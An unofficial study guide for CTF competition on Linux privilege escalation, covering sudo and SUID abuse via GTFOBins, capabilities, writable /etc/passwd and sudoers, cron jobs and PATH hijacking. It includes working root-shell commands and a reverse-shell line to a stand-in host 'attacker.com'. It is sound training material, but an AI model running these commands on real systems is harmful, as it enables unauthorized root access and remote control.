Linux Privilege Escalation
What this is: Escalating from low-privileged user to root on Linux systems.
Competition relevance: Offensive operations (red team CTF). Essential post-exploitation skill.
Why it matters: Initial access is often limited user. Root access required for flags and full compromise.
WSOS 2026 alignment: Supports Section 6: Operations and management (privilege escalation).
Competition area: Core to the offensive operations area, exploiting misconfigurations to escalate privileges.
Offline competence: Use GTFOBins offline, man sudo, and local enumeration scripts. No network required.
Competency Matrix
Section titled “Competency Matrix”| Level | Expectation |
|---|---|
| Regional | Exploit obvious sudo misconfig (sudo -l). Basic SUID binary abuse. |
| National | SUID binaries with GTFOBins. Writable /etc/passwd. Cron job abuse. |
| Squad/Team Selection | Linux capabilities. Kernel exploits. Docker escapes. |
| International | Advanced container breakouts. Custom exploit development. |
Technical Content
Section titled “Technical Content”Sudo Abuse
Section titled “Sudo Abuse”Check sudo permissions:
sudo -lCommon misconfigurations:
# User can run ANY command as root(ALL) ALL
# User can run specific command without password(ALL) NOPASSWD: /usr/bin/vi
# Abuse itsudo vi:!sh # Escape to shell as rootGTFOBins for sudo:
# sudo findsudo find . -exec /bin/sh \; -quit
# sudo awksudo awk 'BEGIN {system("/bin/sh")}'
# sudo pythonsudo python -c 'import os; os.system("/bin/sh")'Competition context: Always run sudo -l first. Check GTFOBins for exploitation methods.
SUID Binaries
Section titled “SUID Binaries”Find SUID binaries:
find / -perm -4000 2>/dev/nullfind / -perm -u=s -type f 2>/dev/nullCommon vulnerable SUID binaries:
find:
find . -exec /bin/sh -p \; -quitvim:
vim -c ':!sh'nmap (old versions):
nmap --interactive!shpython:
python -c 'import os; os.setuid(0); os.system("/bin/sh")'Competition context: If custom SUID binary exists, check for buffer overflow or command injection.
Capabilities
Section titled “Capabilities”Check capabilities:
getcap -r / 2>/dev/nullExploit cap_setuid:
# If python has cap_setuid+eppython -c 'import os; os.setuid(0); os.system("/bin/sh")'Writable Files
Section titled “Writable Files”/etc/passwd writable:
# Check if writablels -la /etc/passwd
# Generate password hashopenssl passwd -1 -salt salt password123# Output: $1$salt$qd8...
# Add root userecho 'hacker:$1$salt$qd8...:0:0:root:/root:/bin/bash' >> /etc/passwd
# Switch to new root usersu hacker/etc/sudoers writable:
echo 'user ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoerssudo suCron Jobs
Section titled “Cron Jobs”Check cron jobs:
crontab -lls -la /etc/cron.*cat /etc/crontabIf script is writable and runs as root:
# Edit script to add reverse shellecho 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' >> /path/to/script.sh
# Wait for cron executionPATH Hijacking
Section titled “PATH Hijacking”If script runs command without full path:
# Script runs: backup.sh (not /usr/bin/backup.sh)
# Create malicious backup.shecho '#!/bin/bash' > /tmp/backup.shecho '/bin/bash' >> /tmp/backup.shchmod +x /tmp/backup.sh
# Modify PATHexport PATH=/tmp:$PATH
# Trigger script executionCompetition Strategy & Marking
Section titled “Competition Strategy & Marking”What gets marked:
- Privilege escalation method identified
- Root shell achieved
- Flag from /root or restricted file
- Write-up explaining technique
Evidence requirements:
- Screenshot showing initial user (whoami, id)
- Screenshot showing root shell (whoami, id)
- Method used for escalation
Evidence and reporting requirements:
- Screenshot showing initial user privileges (whoami, id, groups)
- Screenshot showing root/sudo shell obtained (whoami, id showing uid=0)
- Method used for escalation (sudo abuse, SUID binary, capability, writable file)
- Command history or tool output showing escalation process
- For SUID/capabilities: screenshot showing vulnerable binary (find command output)
- For sudo: screenshot showing sudo -l output with exploitable entry
- Written explanation of privilege escalation vector and impact
- Clear file naming:
linuxpriv_before_whoami.png,linuxpriv_root_shell.png,linuxpriv_sudo_exploit.pngTime allocation: - Enumeration: 10 minutes
- Finding vector: 10-15 minutes
- Exploitation: 5-10 minutes
Enumeration checklist:
sudo -l- SUID binaries
- Writable /etc files
- Cron jobs
- Capabilities
- Kernel version (for exploits)
Time-boxed drill suggestion: 35-minute Linux privilege escalation sprint: Given a low-privileged Linux user account, enumerate system configuration (sudo -l, SUID binaries, capabilities, writable files in /etc), identify and exploit the most reliable privilege escalation vector using GTFOBins or manual techniques, obtain a root shell, and document all findings with before/after screenshots showing privilege escalation.
False Flags / Wrong Paths
Section titled “False Flags / Wrong Paths”Practice Checklist
Section titled “Practice Checklist”- Can identify sudo misconfigurations
- Can exploit SUID binaries using GTFOBins
- Can abuse writable /etc/passwd
- Can exploit cron jobs
- Can perform PATH hijacking
- Understand Linux capabilities abuse
- Complete privesc in under 25 minutes
References
Section titled “References”Primary references:
- WSOS 2026: the sections this page supports are listed under Scope
- Competition stage roadmap: See ../../00-roadmaps/ for module-specific guidance
Related topics in this knowledge base:
- Cross-reference related topics as appropriate
External resources (for offline preparation):
- Tool documentation: man pages, —help flags, /usr/share/doc
- Maintain offline copies of key references and tool documentation
Unofficial study guide, not endorsed by WorldSkills International or WorldSkills UK. Topics are example areas to prepare for, not the content of any test project: competition tasks are confidential, competitions are closed book, and formats change between competitions. More about this site.